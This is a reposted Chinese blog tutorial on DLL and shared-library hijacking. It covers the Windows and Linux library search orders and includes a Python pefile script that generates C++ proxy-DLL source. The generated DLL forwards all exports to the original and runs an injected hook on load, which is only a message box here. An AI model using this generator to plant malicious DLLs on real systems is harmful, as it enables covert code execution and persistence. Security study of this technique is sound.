ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

在Windows和Linux系统上的DLL劫持

2022-02-20 15:34:24  阅读:199  来源: 互联网

标签:__ 文件 hModule Windows dll Linux DLL define


一、概念

  DLL(Dynamic-link library)是Windows操作系统上实现的共享库,又称动态链接库。DLL 的文件格式与 EXE 文件的文件格式相同,即还是32位和64位Windows的可移植可执行文件(PE文件)。

  SO 是Linux操作系统上实现的共享库,又称动态链接库。SO 的文件格式是32位和64位Linux的可移植可执行文件(ELF文件)。

  动态链接库的作用,为程序提供导入函数以实现共享开发者代码,其在进程需要调用某个导入函数时进行动态链接将整个库文件加载进内存中。

  那什么是dll劫持?

  黑客通过将原本要加载的目标动态链接库用自己恶意编写的dll文件去替换,就可以让目标进程加载黑客的动态链接库,从而执行动态链接库中的恶意代码,达到攻击的目的。

二、劫持动态链接库的要求

  黑客编写的恶意dll或so文件需要满足以下要求:

  1. 确保文件中的代码可以正常执行,不会对目标进程造成异常错误
  2. 必须具有对于目标进程调用的函数,并且函数声明和调用约定相同(但是具体函数内部代码可以不同,只要返回值可以让目标进程正常接受就可)

PS:可以在库中添加额外的函数。

三、Windows和Linux中的dll劫持区别

  Windows中的dll劫持

  当然我们也可以在不删除目标dll文件或方便操作的目的,根据进程寻找dll所在目录的顺序来放置我们的恶意dll文件,只要我们的恶意dll文件在目标dll文件之前被进程找到,也可以达到劫持目的。

Windows中,进程寻找dll文件所在目录顺序:

  1. 进程对应的应用程序所在目录
  2. 系统目录(一般为 System32 目录,如果是在 64 位系统下的32位程序,则为 SysWOW64 目录)
  3. 16位系统目录
  4. Windows目录
  5. PATH环境变量中的各个目录

PS:在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs不能在系统目录以外被加载。

  Linux中的dll劫持

  同理。

Linux中,进程寻找so文件所在目录顺序:

  1. 编译目标代码时指定的动态库搜索路径(编译时-L、-rpath和-rpath-link指定的路径)
  2. 环境变量LD_LIBRARY_PATH指定的动态库搜索路径
  3. 配置文件/etc/ld.so.conf中指定的动态库搜索路径
  4. 默认的动态库搜索路径/lib
  5. 默认的动态库搜索路径/usr/lib

四、劫持实现

劫持的目的就是运行我们自己的dll或so文件。

将劫持dll文件放到原dll文件所在目录,而原dll则移到一个不会干扰的目录即可。

关于劫持dll的生成,我们可以自己手动编写,也可以通过使用工具辅助生成。

工具辅助思路:根据获取的所有导入函数生成一个.c或.cpp文件,生成的转发函数如下:

extern "C" __declspec(naked) void __cdecl 目标函数名(void)
{
    __asm POP dwReturnAddress;
    GetAddress("目标函数名")();
    __asm JMP dwReturnAddress;
}

再通过对编译器设置函数转发,实现函数转发,如:

#pragma comment(linker, "/EXPORT:main=_DLLHijacker_main,@5")

贴上我自己参考https://github.com/zhaoed/DLL_Hijacker-1/修改后的脚本:

import os,sys,time
import pefile

def main():
    pe = pefile.PE(sys.argv[1])
    exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
    print("[!]Find export function :[ %d ]\r\n" % len(exportTable))
    for exptab in exportTable: 
        print("%3s %10s" % (exptab.ordinal, exptab.name))
    print("\r\n[+] generating DLL Hijack cpp file ...")
    generate(exportTable)
    print("\r\n[+] generating DLL Hijack cpp file has finished!")

def generate(exportTable):
    segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
    HMODULE m_hModule = NULL;\
    DWORD dwReturnAddress;\
    inline BOOL WINAPI Load()\
    {\
        TCHAR tzPath[MAX_PATH];\
        lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
        m_hModule = LoadLibrary(tzPath);\
        if (m_hModule == NULL)\
            return FALSE;\
        return (m_hModule != NULL);\
    }\
    inline VOID WINAPI Free()\
    {\
        if (m_hModule)\
            FreeLibrary(m_hModule);\
    }\
    FARPROC WINAPI GetAddress(PCSTR pszProcName)\
    {\
        FARPROC fpAddress;\
        CHAR szProcName[16];\
        fpAddress = GetProcAddress(m_hModule, pszProcName);\
        if (fpAddress == NULL)\
        {\
            if (HIWORD(pszProcName) == 0)\
            {\
                wsprintf(szProcName, \"%d\", pszProcName);\
                pszProcName = szProcName;\
            }\
            ExitProcess(-2);\
        }\
        return fpAddress;\
    }\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
    MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
    if (dwReason == DLL_PROCESS_ATTACH)\
    {\
        DisableThreadLibraryCalls(hModule);\
        if(Load())\
            Hijack();\
    }\
    else if (dwReason == DLL_PROCESS_DETACH)\
    {\
        Free();\
    }\
    return TRUE;\
}\
"
    filename = sys.argv[1]
    fp = open(filename + ".cpp", "w+")
    define_dll_exp_func = ""
    for exptable in exportTable:
        define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name, encoding = "utf-8") +\
                            "=_DLLHijacker_" + str(exptable.name, encoding = "utf-8") + ",@"+ str(exptable.ordinal) +"\")\n"
    segments = segments.replace('DLL_FILENAME', filename)
    segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
    fp.writelines(segments)
    
    forward_dll_exp_func = ""
    for exptable in exportTable:
        forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name, encoding = "utf-8") +"(void)\n{" + \
                            "\n        __asm POP dwReturnAddress;\n    GetAddress(\""+ \
                            str(exptable.name, encoding = "utf-8") + "\")();\n    __asm JMP dwReturnAddress;\n}\r\n"
    fp.writelines(forward_dll_exp_func)
    fp.close()

def usage():
    print("Usage:")
    print("    %s 目标.dll" % sys.argv[0])

if __name__ == "__main__":
    if(len(sys.argv) <2):
        usage()
    else:
        main()

 

 

标签:__,文件,hModule,Windows,dll,Linux,DLL,define
来源: https://www.cnblogs.com/glodears/p/15915571.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有